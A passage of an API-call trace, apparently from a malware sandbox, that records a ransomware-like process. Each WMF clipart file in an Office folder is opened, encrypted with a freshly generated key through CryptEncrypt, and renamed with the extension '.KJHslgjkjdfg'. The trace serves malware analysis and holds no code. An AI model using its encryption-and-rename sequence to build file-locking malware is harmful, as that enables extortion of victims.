dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.437] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.437] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.437] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.437] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.437] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.438] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.438] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.438] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.438] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6f9c, lpOverlapped=0x0) returned 1 [0198.439] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6fa0, dwBufLen=0x6fa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6fa0) returned 1 [0198.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.439] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6fa0, lpOverlapped=0x0) returned 1 [0198.439] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.439] SetEndOfFile (hFile=0x130) returned 1 [0198.441] GetProcessHeap () returned 0x990000 [0198.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.441] GetProcessHeap () returned 0x990000 [0198.441] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.kjhslgjkjdfg")) returned 1 [0198.443] CloseHandle (hObject=0x130) returned 1 [0198.443] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0198.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.445] GetProcessHeap () returned 0x990000 [0198.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.445] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.447] GetProcessHeap () returned 0x990000 [0198.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.447] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.447] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.447] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.448] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.448] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.448] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.448] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.448] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.448] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9d6c, lpOverlapped=0x0) returned 1 [0198.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d70, dwBufLen=0x9d70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9d70) returned 1 [0198.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.450] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9d70, lpOverlapped=0x0) returned 1 [0198.450] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.450] SetEndOfFile (hFile=0x130) returned 1 [0198.453] GetProcessHeap () returned 0x990000 [0198.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.453] GetProcessHeap () returned 0x990000 [0198.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.kjhslgjkjdfg")) returned 1 [0198.455] CloseHandle (hObject=0x130) returned 1 [0198.455] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0198.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.457] GetProcessHeap () returned 0x990000 [0198.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.457] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.457] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.461] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.461] GetProcessHeap () returned 0x990000 [0198.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.461] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.461] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.461] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.461] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.462] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.462] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.462] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc20c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc20c, lpOverlapped=0x0) returned 1 [0198.464] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc210, dwBufLen=0xc210 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc210) returned 1 [0198.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.464] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc210, lpOverlapped=0x0) returned 1 [0198.465] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.465] SetEndOfFile (hFile=0x130) returned 1 [0198.468] GetProcessHeap () returned 0x990000 [0198.468] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.468] GetProcessHeap () returned 0x990000 [0198.468] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.kjhslgjkjdfg")) returned 1 [0198.470] CloseHandle (hObject=0x130) returned 1 [0198.470] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0198.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.471] GetProcessHeap () returned 0x990000 [0198.471] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.471] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.473] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.473] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.473] GetProcessHeap () returned 0x990000 [0198.473] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.474] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.474] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.474] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.474] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xae08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xae08, lpOverlapped=0x0) returned 1 [0198.476] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae10, dwBufLen=0xae10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xae10) returned 1 [0198.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.477] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xae10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xae10, lpOverlapped=0x0) returned 1 [0198.477] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.477] SetEndOfFile (hFile=0x130) returned 1 [0198.480] GetProcessHeap () returned 0x990000 [0198.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.480] GetProcessHeap () returned 0x990000 [0198.480] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.kjhslgjkjdfg")) returned 1 [0198.543] CloseHandle (hObject=0x130) returned 1 [0198.543] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0198.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.544] GetProcessHeap () returned 0x990000 [0198.544] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.544] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.545] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.547] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.547] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.547] GetProcessHeap () returned 0x990000 [0198.547] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.547] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.547] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.547] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.547] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.547] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.547] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.548] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.548] CryptImportKey (in: 